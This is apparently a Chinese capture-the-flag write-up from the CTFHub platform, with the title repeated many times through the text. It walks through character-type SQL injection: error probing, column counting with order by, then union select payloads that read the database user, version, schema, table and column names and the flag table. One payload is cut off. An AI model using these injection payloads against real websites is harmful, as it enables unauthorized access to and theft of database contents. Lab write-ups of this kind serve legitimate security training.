CTFHUB—SQL注入—字符型注入

CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 1.输入1‘测试,发现报错 CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 输入' and 1=1测试,无法注入 CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 输入1’and 1=1 --   注意:--后面有空格 CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 输入'and 1=2 -- ,报错 因此判断,该url为字符型注入   2.判断列数,输入1' order by 3 -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 输入1' order by 2 -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 因此字段数是2   3.判断信息是第几列, ' union select 1,2 -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入   4.查询用户, ' union select 1,user() -- ',查询结果为:root用户 CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入   5.访问数据库, ' union select 1,version() -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 根据数据库版本得知,为MySQL的一个分支   6.查询当前数据库名称, ' union select 1,database() - CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 数据库名称为sqli   7.获取数据库名称, ' union select 1,group_concat(schema_name) from information_schema.schemata -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 查询得知,当前数据库为: information_schema,mysql,performance_schema,sqli   8.查询表名 ' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' -- 'CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入 得知,sqli库中有两个表:flag、news   8.查询列名 ' union select table_name,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) -- '   9.查看指定数据库指定表的列的内容 ' union select 1,group_concat(flag) from sqli.flag -- ' CTFHUB—SQL注入—字符型注入CTFHUB—SQL注入—字符型注入        
上一篇:Spark的Driver和Executor


下一篇:094-Spark-RDD-累加器